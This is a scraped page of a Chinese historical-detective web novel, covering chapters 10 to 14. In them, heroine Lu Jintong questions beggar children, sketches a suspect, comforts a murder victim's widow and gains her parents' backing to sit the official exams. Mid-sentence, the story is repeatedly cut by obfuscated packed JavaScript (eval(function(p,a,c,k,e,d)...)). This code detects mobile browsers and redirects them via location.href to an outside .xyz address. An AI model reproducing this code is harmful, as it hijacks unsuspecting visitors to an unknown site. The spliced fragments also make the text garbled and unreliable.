l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14972502|161350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后跟着的慕柏,容筝有些讶异:“这位是?” 路锦瞳连忙介绍:“我娘担心我会遇到危险,特意请了位高手来保护,这是慕柏公子,慕公子,这是四皇子殿下。” 听闻这是四皇子,慕柏连忙见礼,容筝也向他点头,他道:“今日你想做什么?” 路锦瞳打算今日去问问进城那条路暂作休息的地方,凶手很有可能也不知道柳絮的舅舅长什么模样,他也要挨个儿问,亦或是看哪个像,打听清楚后把人诱拐出城。如果按照她的这个推论,那柳絮的舅舅是一定进过城的,他很有可能在哪个地方落脚,说不定会有人注意到。 画像师有根据柳絮舅舅的面目画出像来,不过路锦瞳看了觉得不太行。柳絮的舅舅没有具体样貌特征,比如哪里有痦子或者哪里有斑,能让人一眼看过去就有记忆点的东西,如果不画的仔细一点别人可能一下子认不出来。 和以往的古装剧差不多,这位画师画的很像那种真人漫改二次元,除了特殊体貌,熟人都认不出来那种,就别指望路人了。 这里暂时找不到炭笔,路锦瞳削了树枝在火堆烤烤,利用上面掉下来的灰屑在纸上大概画了个素描,就是过程有点太繁琐了,画两笔就要烤一下,十分费劲。 路锦瞳原先和画像师专门学过一两笔,虽然不至于从骨骼推断,但照着画并且画对比例还是行的,属于什么都懂一点,但不精通。 容筝凑在一边看她寥寥几笔就将那人的神韵画了出来,不禁有些惊奇,他还从未见过这样的画法。他看得有些入迷,便凑得近了些,待路锦瞳收笔才意识到,轻咳一声,不着痕迹退开。 路锦瞳把纸卷成筒:“那殿下,我去了。” “嗯。”容筝答应着,跟上她的步子。 路锦瞳回头看他:“殿下,您跟着做什么,您不查别的案子,或是有旁的是做么?” 容筝道:“本宫自然是跟着你了,你在为本宫做事,自然要保护好你的安全。” 路锦瞳头上缓缓冒出问号:“有慕公子在,慕公子保护我就行了。” “……你就当本宫是想从你这里学本事吧,”容筝敛眉,“父皇命我彻查此案,总不能让你一个人跑来跑去的。” 路锦瞳连忙摆手:“殿下谬赞了,我这不算本事,您办案应该的。” 容筝今天没带车夫过来,大理寺也没有配马车,衙役们外出查案都是自己腿着去的,路锦瞳不娇气,了解清路线后拿着画像往城门方向过去。 去查问过与柳絮交好丫鬟的衙役回来说,柳絮的舅舅家境也没有那么好,都是做农活的人,一年也就几两银子的收入,柳絮偶尔得了打赏,给他们寄回去一些,他们也不花,而是攒起来,留着将来万一出什么事再用。 这样的人一般都会活得很拮据,即便是进城了要休息,可能也就是寻些阴凉的墙角,甚至都不会去茶棚,他们身上一般会自带水囊,经过河流时打些水来喝,要想查踪迹,那就不能去茶棚茶楼这些地方。 路锦瞳到了城门口,先是去问了守门的士兵这几天都是谁在当班,着重问了案发当日的人,容筝在后面适时亮出大理寺的腰牌,士兵连忙小跑着去叫。 每日进城的人都太多了,果然没什么人对这人有记忆点,哪怕是路锦瞳画的够清楚了。她向那几位士兵道谢,重新把画卷起,朝附近的巷子过去。 巷子里大多是些乞丐,也有刚进城来歇口气的,路锦瞳走到一个小孩面前蹲下,悄悄塞了一枚铜板给他:“小朋友,你在这里待了多久了?” 11. 第 11 章 小乞丐顶着一张脏兮兮的脸,他抬眼看看路锦瞳,见是个姑娘,他将铜板收起:“好几年了吧。姐姐,你还是走远点,这边男人多,小心被人说。” “多谢你了,可是我有问题要问,不能走,要走也得等问出来才行。”路锦瞳又摸出一枚铜板给他,“姐姐问你个事,大前天,就是两日前,丞相千金遇害的那天,你也在这里么?” 小乞丐不答话,他盯着路锦瞳看了又看,又去瞥她身后站着的容筝,突地道:“你是路家小姐吧?” 路锦瞳一怔:“你怎知是我?” “昨天你在大街上抓小偷的事情,我们都知道了,有人认出是你,到处大肆宣扬呢。”小乞丐说,“我听说当时你身后跟了一个男的,再加上你问丞相千金的事情,又是个姑娘家,就猜出是你了。” 路锦瞳有点无语,这些人也是有够闲的,每天没事做么?她抓了个小偷而已,怎么就被到处传了?传就算了,还不是什么好话,搞得她做了伤天害理的事情一样? 她明白这是因为性别而遭受的歧视,心中再生气也什么用都没有。路锦瞳“哦”了一声,接着道:“所以,我问你的问题,你能回答我么?我这里还有钱,还能给你很多,只要你能答得上来。” 小乞丐浅浅犹豫了一下,点头答应了,他才不会跟钱过不去:“我不在这里,当天我去别的地方讨饭了。” 路锦瞳本来也没报那么大的希望,她不觉得自己能刚问就能问到,闻言只是点点头,又给了他两个铜板,起身打算要走。 “请等一下,”小乞丐叫住她,“虽然我当天不在这里,但我其他的兄弟们在,我可以帮你把他们都叫过来。” 这么说着,他视线挪到路锦瞳腰间的钱袋子上,她即刻明白了他的用意:“那就多谢你了,如果可以,帮忙把这几日在这里的小朋友们也叫过来,每人我都可以给你们一吊钱,提供到重要线索的,可以给两吊。” 一吊钱可是够平民百姓大半年的花销,小乞丐一听眼睛都亮了,他当即道:“小姐稍等,我这就去叫他们过来!” 说完一溜烟跑远了。 路锦瞳满意的站起身,原来这就是钞能力么,有钱真好啊,即便是问题再困难,只要有那么一丝线索,重金之下必有勇夫,一定能找出些什么东西的。 路锦瞳在原地等了小半个时辰,小乞丐才带着一堆小孩呼啦啦的跑过来,他高声喊:“小姐,都给您带过来了。” 他似乎是怕路锦瞳质疑,连忙道:“我都挨个儿问过,他们这几日确实都在这里,没有说谎的。” 路锦瞳点点头,从袖中摸出那副画像来:“那你们过来看看,大前天,或者是这两天,你们有没有看到这个人?” 她把画交给小乞丐,任由他们挨个儿传着看下去,一般来说,在古代,乞丐堆和茶楼酒楼甚至是青楼,都是情报交接处,这里的人得知的东西会比他们更多,路锦瞳之前看小说,那些王孙贵族都是这么做的,甚至还有人在这些地方建立情报网,所以她选择在这里问情况,问到的可能性是很大的,就是费点时间,费亿点点钱罢了。 果不其然,没过一会儿工夫,就有几个人抢着举手:“小姐,我们好像有见过这个人。” 他们七嘴八舌乱哄哄的,路锦瞳听不太清,还未待说什么,带他们过来的小乞丐就已经在维持秩序了:“一个一个来,慢慢说,这样怎么能听到你们在讲什么啊?” 那几个小孩对视一眼,最后选了一个代表过来:“小姐,大前天,就是丞相千金被害的那天,这个人在前面的那条巷子休息过,当时我们去跟他讨饭,他还给我们拿了铜板,说他是来找外甥女的,在这歇歇脚,外甥女给人家做活做累了,想要回家什么的。” 路锦瞳心中大喜,她压抑住兴奋,接过画来:“你们再看一看,确定是他么?没有认错人?” “不会认错的,”小孩摇头,“那位大叔是个好心人,明明他穿的也不好,肚子饿了也不肯去买吃的,但还是给了我们铜板。” “之后呢?”容筝问,“之后他去哪儿了?有人来找他么?” “有一个男的,”小孩说,“那个男的找过来的时候我们还没走远,听到他们聊天了,那人和大叔说他的外甥女委托他过来,说要去什么地方碰面,然后大叔就跟着他走了,之后就再也没看到他了。” 叫走柳絮舅舅的人,极有可能是凶手,路锦瞳想。她从腰间解下钱袋,按照每吊钱的数量数着一个一个分给了他们,不过发了几个就不太够了,铜钱还是很重的,陆绾给她带的不多,只是想着万一路上会碰上什么想吃的东西有零钱买,其余的都是银票。 路锦瞳皱了眉,随即道:“我的钱不太够,那边有家酒楼,我去看看能不能把银票换成铜钱。” 许是担忧孩子们不信任她怕她跑了,路锦瞳又补了一句:“这个哥哥留在这里,如果我没回来给你们钱,你们就不让他走,行吗?” 容筝惊得连自称都忘了,他看了看板着脸站在旁边当空气的慕柏,迟疑道:“……我么?” 路锦瞳这才反应过来自己说了什么,她尴尬地挠了挠脸:“啊不是,我说的是慕公子,不是您。” 好尴尬,说顺嘴了。 她数清剩下的小孩还有几个,提着裙子小跑进酒楼,摸出一张银票来,问清楚小二究竟能换几串钱,银票面额很大,只需要一张就足够了。趁小二给她数的间隙路锦瞳摸了摸钱袋,好厚一沓,这就是做首富女儿的快乐吗?她的眼泪要从嘴角流下了,嘿嘿嘿。 路锦瞳压下忍不住上扬的嘴角,谢过掌柜后又跑出去。 她把钱分给孩子们,一个一个向他们道谢,孩子们都高高兴兴的离开了,路锦瞳留下那几个看到凶手的孩子,向他们了解凶手的身高以及样貌,按理说应该会有人看到的,因为凶手如果想要取信于柳絮的舅舅,那一定不会遮掩容貌,人的本能会怀疑行为怪异的人。 小孩子们对身高没什么概念,只会说比容筝要高一个小指头,身材也很壮实,一身黑衣,都是腱子肉,脸上还有一层胡须。 路锦瞳又跑去买了纸,从地上捡木棍,然后用火折子烧黑,根据他们的形容画像,在废了一沓后终于画出了差不多的人像。 路锦瞳又去买了干粮给他们每个人分,等孩子们走远,她满足的眯眯眼笑:“殿下,是不是就能确定死者是柳絮的舅舅了?” “差不多,但还是需要有人认证,稍后回去大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14972503|161350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 理寺,本宫会再派人前往叙州,把他的家人带来辨认。”容筝点头。 “这副画像怎么办呢?我也不能确定画的对不对,刚刚孩子们也说只是差不多,有那个感觉,但也不是完全相似,能作为参考,不能做实证。”路锦瞳觉得长脑子了,她只能照着画,靠人描述就不太行了,便挠挠头,“或者之后把那几个小孩带回大理寺,让画师再画一下?” 容筝道:“不急,先拿回去给沈大人看看,让他来做决定。” “好。”路锦瞳颔首,在不能确定的情况下是不敢随意做决定的,否则容易打草惊蛇。 查到了案情,就不用一直待在这儿了,容筝便叫她回去,城外离大理寺有点远,他们光过来就费了很久的工夫,再加上搜集线索,又回去,等回到大理寺时已经是中午了。 路锦瞳有点脚疼,还是锻炼的太少了,这段路属实是长,她觉得自己差不多走了有快三万步了,这还是不在现代,如果在的话,那她肯定是微信步数第一。同事们好歹有车开,她这完全是腿着来腿着去啊。 容筝要回宫像皇帝禀明情况,送她到大理寺门口就走了,路锦瞳远远就闻到饭香味了。 慕柏不认识路,路锦瞳乖乖把帷帽整理一遍,跑去食堂领盘子,打饭的是个面色和蔼的大叔,他看到路锦瞳,又听说了她的事,顿时心生怜爱,肉菜库库舀,慕柏因为沾了她的光也得到了不少。 路锦瞳吃什么都香,她又去蹭了一下沈知安的休息室,刚吃完收了碗筷,沈知安就回来了。 路锦瞳把上午发现的东西和他讲了,沈知安眉头紧锁:“那就再派人手去,快马加鞭的话最迟大后日就能把他们带回来。” 他接过路锦瞳手中的画像:“至于这个,先放着,本官会叫人暗中查找这个人,那几个孩子也会叫回来问话的。” 路锦瞳本来还发愁若是真要到大后日才能出结果,那她该干点啥,她甚至都差生文具多的摆了一堆书在桌案上准备学了睡睡了学,没想到才过一个晚上,就有人来报说柳絮舅舅的家人都来到了京城,现下在大理寺,让她赶快过去旁听。 来接她的仍然是容筝身边那个侍卫,这几天接送一直都是他,路锦瞳已经差不多跟人混熟了,每日都要给他带点府中的点心吃食,不让人家饿着肚子。 她到的时候堂中只有沈知安,他给路锦瞳讲事情经过:“回来的人说,他们依照命令去问了出发时间,还未走时那家人便遭到了刺杀,损失了几位衙役的命,才把人带回来,只可惜小孩死在了路上。” 原来如此,怪不得回来的这么快,路锦瞳道:“然后呢?” 沈知安揉了揉眉心:“已经让她认了尸,那人正是柳絮的舅舅柳烨,这两起案子可以合并了。幕后之人知道了柳絮想要逃跑,与柳烨一起回家乡去,担心到时候若是杀了柳絮灭口,我们可能会查到柳烨身上去,干脆连他一起杀了,又担忧柳烨会和家中人说起柳絮的事情,直接做得干干净净。” 路锦瞳点点头,沈知安接着道:“案发之后,本官就让人封锁了京城,并送信去周围邻城也让他们全城封禁,本官已经派发了你昨日画的像,让他们一个一个寻找,挨家挨户敲门查过去,就不信没人能找得到他。” 12. 第 12 章 路锦瞳惊恐脸:“可是大人,我不能确定我画的一定对,您没有再让画师修改么?” 沈知安看了她一眼:“那些孩子带回来后叫了画师,画师说你画的与描述差不多相符,没有什么要改的地方,就直接发出去了。” 路锦瞳松了口气,那就好,她对自己的画画还是没什么信心的。 情况差不多了解了,现在也没什么她能做的事,沈知安叫她来主要是让她帮忙照顾一下柳烨的夫人,她一个妇人家,刚刚经历丧子之痛,大理寺都是男人,没什么人能帮忙,正好她可以用来顶事。 路锦瞳不擅长安慰人,却也不能推辞,只好答应下来。临走前她四周看看,忍不住问:“殿下还没回来么?” “嗯?”沈知安一怔,随即答:“还没有,大约快了。” 路锦瞳“哦”了一声,她想起什么,小心翼翼问道:“大人,您认识我娘么?” 她没把陆绾常提起沈知安的事说出来,万一真是陆绾自己杜撰的,这样直说多尴尬,把沈知安吓到可就不好了。 却不想沈知安又是一愣,他眸色暗沉下去,片刻后点了点头:“认识,我们很早以前就相识了。” 路锦瞳呆住,她没想到这是真的,可如果真是这样的话,那为什么沈知安从来都不会来路府做客呢?他们家也没有主动去过沈宅,路家从商,而沈知安是官,就算交好也不会让人觉得站队什么的,为什么他们从来不来往呢? 路锦瞳想不通,更不敢问,沈知安也没有提,他只是道:“这次你出事,还是你娘来找我的。” “娘跟我说过,多谢大人救命之恩。”路锦瞳再次道。 她小心翼翼看了沈知安的脸色,知道他没有讲下去的意思,便识趣告退了。 莫非他们是闹掰了,因为这次涉及到自家女儿的性命,陆绾没有办法才求到沈知安跟前去?而他们二人为了体面,决定不向任何人谈起这事。路锦瞳有点明白为什么沈知安会对她这么照顾了,按理说她嫌疑洗清就该滚蛋的,当她想留下时,容筝答应,沈知安也答应,原来是走了后门。 那她之后还想考官职来大理寺上班呢,会不会让陆绾难做啊?路锦瞳有些苦恼。 柳烨的夫人赵氏就住在她之前歇过的那间屋子,很好找,路锦瞳轻轻叩门时听到里面传来匆忙的声音,随后门被打开,妇人眼眶笔尖通红,她吸吸鼻子,疑问道:“姑娘是?” “我来看看您这里有没有什么需要帮忙的。”路锦瞳露出笑脸,想到她戴着帷帽别人看不到她的脸,又努力柔和了声音,抬抬手中的食盒:“夫人,您还没吃饭吧?已经过饭点了,食堂只剩热粥和小菜,等晚上我再给您多拿些过来。” 赵氏连忙道谢,她移开身子让路锦瞳进来,有些拘谨地用手搓衣角:“麻烦姑娘了,我……我自己来就好。” 大家都是女人,路锦瞳也就把帽子脱了露出脸来,她笑道:“您客气什么,不麻烦,大理寺也就咱们两个女人,互相帮衬是应该的。” 一般只有贵女出门时才会戴帷帽,贵族女子成婚后依旧会戴,而民间女子就不同了,若是未婚则需要脸上带纱,成婚后就不怕了,可以随意露脸,很多人一般都是靠这个来分辨身份高低的。 慕柏自觉帮她们关上门守在外面,路锦瞳打开食盒往出摆菜,赵氏吓得连忙推阻:“不必劳烦姑娘,民妇自己来就好。” 方才她看到路锦瞳带着帷帽便知她不是平常家的女子,此刻取下,见她衣衫精致,发髻上缀了珠翠,打开食盒的腕上还戴了玉镯,顿觉惊恐,她一个乡野村妇,怎能让贵人沾手。 也就两三个盘子,路锦瞳很快摆好:“您客气什么,快吃饭吧。” 她又劝了几句,好不容易才让赵氏放下她们之间的身份芥蒂,肯坐下吃粥。路锦瞳目光在屋中环视一圈,还是之前的陈设,只是床上放了一个小小的娃娃,她猜测应该是赵氏孩子留下的东西。 因为是突然遭遇刺杀,当时逃得匆忙,什么随身物品都没带,等会儿若是没什么事,让慕公子陪着她去街上为赵氏添置一些衣物吧。 她等着赵氏慢慢把粥吃完,装作没看到她落进粥中的泪水,以及小声的啜泣,只轻声道:“夫人,您放心,我们一定会找到凶手,为您报仇。” 赵氏抬起头,眼泪盈满眼眶,路锦瞳把碗筷收起来:“我想问你点问题,希望您能如实回答我,不要有所隐瞒。” 赵氏连忙点头,她已经没有了丈夫和孩子,从今往后都是孤身一人,早就没有什么牵挂和顾及了:“姑娘请问,我一定把我知道的全部都告诉你。” 路锦瞳点点头:“那好。柳絮是以什么样的方式告诉柳烨,让他入京来寻的?” “她写了封信,”赵氏说,“我和当家的都不怎么识字,是出门的时候让镇上的书生给念出来,当家的回来说那丫头存了钱,让他进京去取一趟,还一定要这两天就过去,不能耽搁。” “据我们了解,柳絮以前是托人往家里带钱,还从未让你们自己去取过,知道信的内容时,你们就没有觉得奇怪么?”路锦瞳问。 “有,”赵氏点头,“但是我们也就奇怪了一下,没多想,这丫头和她舅舅亲近,又这么多年没见,有可能是想舅舅了。也有可能是这次钱多,怕让人捎不安全,所以才让当家的跑上一趟。” 看来柳絮在信中什么都没透露,这也正常,她担心信会被人截胡,万一看到里面的内容就不好了。路锦瞳叹了口气,又问:“那些人追杀你们的时候你有在他们身上发现什么么?” 赵氏茫然点头。 好吧。路锦瞳站起身:“多谢夫人配合,您在这里休息吧,不要出大理寺,如果有什么事,就拜托衙役给我带话,我会来找您的。” 在赵氏的千恩万谢下,路锦瞳提着食盒离开。现在的突破口就是那副画像,只要找到画像中的人,或者说有人认出他,就可顺藤摸瓜找下去了。 可这样盲目的寻找下去不知道什么时候才能把人找到,只怕他们还没找到,幕后之人就已经再次有所动作了,这样可不行。路锦瞳拧着眉在屋外面转了几个圈,又去找沈知安了。 “大人,”她几步跨进堂内,“我们不如先从柳絮认识的人那里寻起?” “这话何意?”沈知安道。 路锦瞳有点激动,她加快语速:“我刚刚想到了一个我们一直忽略 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14972504|161350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的问题,您还记得,柳絮是怎么死的么?” “针刺,刚开始没有发现是因为她耳后有一颗黑痣,而针是正好从黑痣刺进去……”沈知安恍然,“你的意思是……?” “不错,”路锦瞳露出笑意,“那颗黑痣较小,如果不凑近是看不出来的,别说是在耳后这样的位置,除非是熟悉的人,或者说曾于她有近距离接触的人才能看到。一般情况下,熟悉的人是不是能更清楚一点?我们既然也要用排除法,那为何不先从她身边熟悉的人那里下手呢?” “你说的不错,可是……”沈知安颔首,他和容筝对视一眼,“可是,柳絮是丞相府的人,如果按照这样的想法,那又绕回丞相府去了。” 路锦瞳挠挠头:“绕回去也很正常,我和宋云知惹上这祸本来就是在丞相府,既然一切都是从丞相府开始的,那也就该从丞相府开始查,毕竟当时我们听到有人密谋要害三皇子就是在丞相府听到的,能进入丞相府聊事情的恐怕也不是一般人。” 只是……路锦瞳又卡了卡:“大人,您在中间会很难做吧?” 丞相可是仅次于皇帝的大官,他们去丞相府查案,不管怎么样都是于人家的名誉有损,哪怕是有皇帝的旨意,由沈知安出面,这梁子肯定是结下了。 沈知安不以为然:“无妨,一切案子为主。” 哦,忘了沈知安谁也不在意了,他要是在意,也不可能谁抛来的橄榄枝也不接。 谈完案子,路锦瞳便向沈知安报备:“大人,我想下午出去一趟,给赵氏添置一些东西,她什么都没有,让你们买也不太方便,我先趁着我还在给她买点,不然晚上回府了可能没有时间。” “好,”沈知安答应,他看了看等在门口的慕柏,“你娘给你找的?” 是容筝和他说的么?路锦瞳一愣,随后点头。 沈知安也颔首:“你娘细心,找的人肯定没错,那你去吧,早点回来,回来了告诉我一声。” “若是大人也得到什么线索,记得一定要和我说,麻烦了。”路锦瞳恳切道,“今夜我能住在大理寺么?和赵夫人一起,也算是照顾她,这样有消息了您也能第一时间通知我。” “不行,”沈知安干脆利落地拒绝了她,“你一个姑娘家,怎么能留宿在这里,再说你伤还未好,需得继续喝药,有人伺候,大理寺无论如何也不会比府中好。听话,乖乖回去,不要让你娘担心,你放心,如果有什么消息,本官会派人去府中告知你。” 路锦瞳意料之中的被拒绝了,她没再坚持,只是又开口:“殿下还没回来么?” 沈知安诧异将她一望:“没有,可能是有什么事吧。” 结果一直到晚间路锦瞳回路府去,容筝也没再去大理寺,却还记得把那个送惯了她的侍卫叫来护卫她回府,路锦瞳本想问问他容筝去哪了,怎么下午没过来,却突然想到人家是皇子,不可能天天守着案子,一定还有很多别的事情要做,遂闭嘴了。 她又想到沈知安在提到陆绾时的语气,不像是在说谎,是真心在夸人,他们之间的友情一定是真的,只是不知道背后还藏着什么事情,明明是好朋友却连登门都没有,难道是怕路钊吃醋? 13. 第 13 章 路锦瞳刚回家就吃到了热乎乎的饭。 陆绾让厨房做了一堆好吃的,专门给她补脑,她边给路锦瞳夹菜边唠叨:“小锦,多吃点啊,你说说你,平常就知道咧着嘴傻乐,什么时候思考过这么久?这次动脑子动了两天,累着了吧?等会儿娘给你剥核桃,厨房还做了核桃酥!” 路锦瞳:“……”她怎么觉得这饭一点都不香呢? 吃饱喝足过后,丫鬟们上来收拾碗筷,路锦瞳喝了口水,她小心翼翼道:“爹,娘,我有个事想和你们商量一下。” 陆绾正色:“你说。” 路锦瞳呼出一口气来:“我想考大理寺。” “啪嗒”一声,路钊手中的茶杯掉回了茶盘里,因为距离不大,杯子并没有摔碎,只是里面的茶汤就没有那么好运气了,被这一动作洒出大半,路钊的衣襟都湿了。 一边的陆绾也没好到哪里去,刚捏起来的糕点又调回盘子里,摔出一道小缝。 好半天,他们才找回自己的声音:“你说你要考什么?” “我想考大理寺的官。” “考哪里的官?” 路锦瞳无语:“大理寺的” “你要干什么?” 路锦瞳扶额:“考大理寺的官。爹娘,你们不用问这么多遍,我没发烧,脑子也没问题,是真的想考大理寺的官,大理寺!” 她连着说了好几遍,可算是不让他们再问了,只是仍然有些瞠目结舌,好半天陆绾才道:“小锦,你莫不是,前两天发热烧坏了脑子?娘这就给你请府医来!” 她刚站起身,就被路锦瞳扑过去拉着手摁回座位:“我是认真的,娘。” 她直视父母的眼睛:“你们同意吗?如果同意的话,明日我就要和沈大人说了。” 虽然她还不太了解要经过什么过程,但她有毅力和耐心,这两日她已经在努力的认字了,现在看一些普通的文字没有问题,已经能认出不少了,只要她想学什么,那就一定能成,大不了多考个几年,迟早能考上。 就算做不了寺丞寺正这种大官,主簿司狱司务也成,再不济,让她去府衙当个捕快也是没问题的,只要能进去查案。她相信,好好表现肯定是可以升官的,就别说她还不想升太高的官,不然都不能跑基层了。 陆绾和路钊对视一眼,从彼此眼中看出为难和震惊,陆绾道:“可是小锦,如果想考官的话,你是要参加科举的。” 真的是科举,路锦瞳有点头大,但还是道:“没关系,我从今天开始认真读书,实在不行,您给我请个先生来,我好好学习天天向上,考一次不行考两次,两次不行三次,我就不信我考不过。” “那倒是无妨,”路钊开口,“如果你只想入大理寺,到时候只要完全掌握大周律法,是可以破格录入的,当然,其余功课也不能懈怠。” “当然当然,”路锦瞳眼睛亮了,“爹,您这是同意我考了么?” “这……”路钊面露难色。 路锦瞳看懂了他的表情,是了,那个小乞丐讲过,她先是被抓入府衙,后面去了大理寺,还曾当街抓过偷钱袋的贼,这在她看来没什么,但群众的眼睛都看着,在这个时代这种行为不被接受,早就被穿得沸沸扬扬了,她自己都听人说,路钊和陆绾不可能一句都没听到。 他们不是那种会管束孩子不许这样不许那样的父母,可孩子的心理健康总要在意,不可能就此让孩子丢了名声。 她小心翼翼:“爹娘,我是认真的,我知道现在外面都是怎么说我的,但我不在意,我不能因为怕被他们指点,就放弃自己喜欢的事情,如果真是那样的话,那我也不会要接着去大理寺,早就该在家里以泪洗面发愁以后怎么嫁人了。” 路锦瞳试探着挽上陆绾的手臂,轻轻晃晃:“他们才不会把我打倒呢,就算他们说什么,女儿都不会在意,顶多就是嫁入困难一些嘛,女儿还不想嫁人呢,如果能一直陪着爹娘,你们不高兴么?我们家这么有钱,才不能进了外人的口袋里去,自己花才是正经。” 陆绾被她逗笑,脸上的表情松动了不少,看上去不那么严肃了,路钊也是同样,路锦瞳趁热打铁:“再说了,大周虽不许女子做这个做那个的,但律法中没说女子不能考官啊,只要律法没讲,那就是可行的。” 陆绾和路钊对视一眼,最后她轻轻拍拍路锦瞳的手:“你先别急,等娘和你爹商量商量,行么?最晚明天早上,我们就会给你一个答复,不耽误你的时间。” “行。”路锦瞳答应的很快,反正就算是他们不同意,她也是一定要考的,大不了到时候拜托沈知安千万不要和他们讲,等结果出来了,赶在流言传入他们耳中前招了就行,反正结果已经在那了,如果就此扔下那也不可能,原身的父母看起来不是那种死板的人。 她照例去读书识字,喝熬好的药,颈上的勒痕已经淡了很多,路氏夫妇为她的伤可谓是大耗心神,生怕她痛着,寻来的都是好药,这才几天过去,就已经好差不多了。 古代的科举是很难考的,相当于高考了,甚至比高考还要难一些,高考起码能选文理科,选擅长的那一块,科举可是完全是背书写作文啊!她学的那点知识早就还给老师了,这些年除了报告还有案件梳理查资料之外很少接触别的文字东西了,让她参加科考,真的吗? 路锦瞳在床上翻滚,突然灵机一动,坐了起来。 对哦,除了文考,还有武考来着。 但是她真的打得过这种架空时代会轻功的古代人么?就别说现在的这具身体连肌肉都没有,动作幅度大身体还会酸痛,开玩笑的吧? 路锦瞳绝望的躺回床上去,继续翻滚。 滚着滚着她睡着了,梦里她依然遨游在知识的海洋里,一本书一本书的啃,没错就是啃,动词,啃到肚子都撑了还在努力啃,似乎是只要吃下去知识就都能进脑子一样。连着吃了一夜,第二天早上起来的时候她脑袋都晕晕的,眼神呆滞,好像是又回到了将近毕业时连夜赶论文的那些日子,被吸干了。 院内传来破空声,是慕柏又在练剑了,路锦瞳也不赖床,她习惯了醒来立马起,直接掀被下去,竹月端来水盆,路锦瞳浅浅洗漱一下,换了轻便的衣服,出门向慕柏讨教去了。 她可是付了钱的,而且只是讨教一些基础知识,不学他们门派的功法,应该不过分吧。 慕柏虽看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14972505|161350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着冷冰冰,人还挺好的,路锦瞳去问就真的教她基础了,和她以前练的东西的大差不差,也就是扎马步跑步那些锻炼持久力和肌肉耐力的动作。她又练了一头汗,简单抹过脸后跑去前厅吃饭。 今天饭桌上的气氛有些严肃,路锦瞳猜测是因为陆绾昨晚答应了她今天会给个答复,她虽然早已打定了主意,但从心底还是希望被认可的,坐下时不禁带了些忐忑。 陆绾也不卖关子,丫鬟有秩序上菜时抽空道:“小锦,娘和你爹昨晚商量过了,爹娘决定,全力支持你,你想考大理寺那就去考,等这件事结束,娘能出门了,便请先生来教你。就如你爹说的那样,咱们主要精通律法,这样届时就可以破格被大理寺录入的。” 路锦瞳本来没打算能得到准许,如果在现代还有可能,在古代女子跑去考试做官特别是这种女子上街都要戴面纱的环境下,那简直就是天方夜谭,路钊和陆绾不同意那也正常,结果陆绾这话一出,她先是不可置信,然后是瞳孔地震,一时间竟呆住了,像是被施了定身术。 陆绾便笑:“高兴成这样?” 路锦瞳呆滞的大脑慢慢飘飘然,她尖叫一声,扑向陆绾,在她脸上来来回回亲了好几口:“谢谢娘,谢谢娘!我爱死你了!” 能遇到懂孩子并支持孩子的家长太难得了,路锦瞳觉得自己激动的浑身上下冒火。 路钊清清嗓子,装作不在意的样子,可偶尔撇来的眼神表示着他也在其中出了力,他也是答应的人之一,快也来谢谢我。 路锦瞳忍俊不禁,也扑上去给了路钊一个大大的拥抱。 她心情好的不得了,整个人像一只雀跃的鸟儿,给容筝派来接她的侍卫又多带了一份点心,一路哼着歌上车,期间看到了慕柏有些艳羡的眼神,猜测他可能是羡慕了,便稍稍收敛了一些。直到去了大理寺都还很振奋,看到在堂内坐着的容筝也心情很好的扬手:“殿下,早!” 容筝还是第一次见到这样的打招呼方式,他也扬了笑:“早。” 她曾与容筝谈论过未来进官府的事,再加上这几日经常在一起查案,早已把他当作了朋友,因此兴高采烈的分享:“殿下,告诉你一个好消息,我爹娘同意我考科举进大理寺了!我很快就可以名正言顺的查案了!” 容筝微微睁大眼,他由衷道:“真的么,恭喜你。只不过科举很难,如果有什么需要帮忙的地方,可以来找本宫,本宫为你介绍老师。” “多谢殿下。”路锦瞳抱拳。 衙役们仍然在勤勤恳恳的走访,目前尚未得到有用的信息,路锦瞳主动请缨去丞相府问询,反正有容筝跟着,她什么也不怕,丞相府是个重要的地方,可能会有新鲜证据,她不能错过,怎么着也要去上一趟。 她和容筝说了想法,容筝未多想便欣然同意,和她一同前往。丞相府地址偏僻,靠近郊外,容筝叫了马车过来,马车宽敞,还是他们之前一同坐过的那辆,路锦瞳提裙上车,容筝坐在离她较远的地方,慕柏仍然骑马跟在车外。 路锦瞳小心看了容筝一眼,她道:“殿下觉得,丞相是什么样的人?” 容筝垂下眼帘:“官场中,有几个是干净的?” 14. 第 14 章 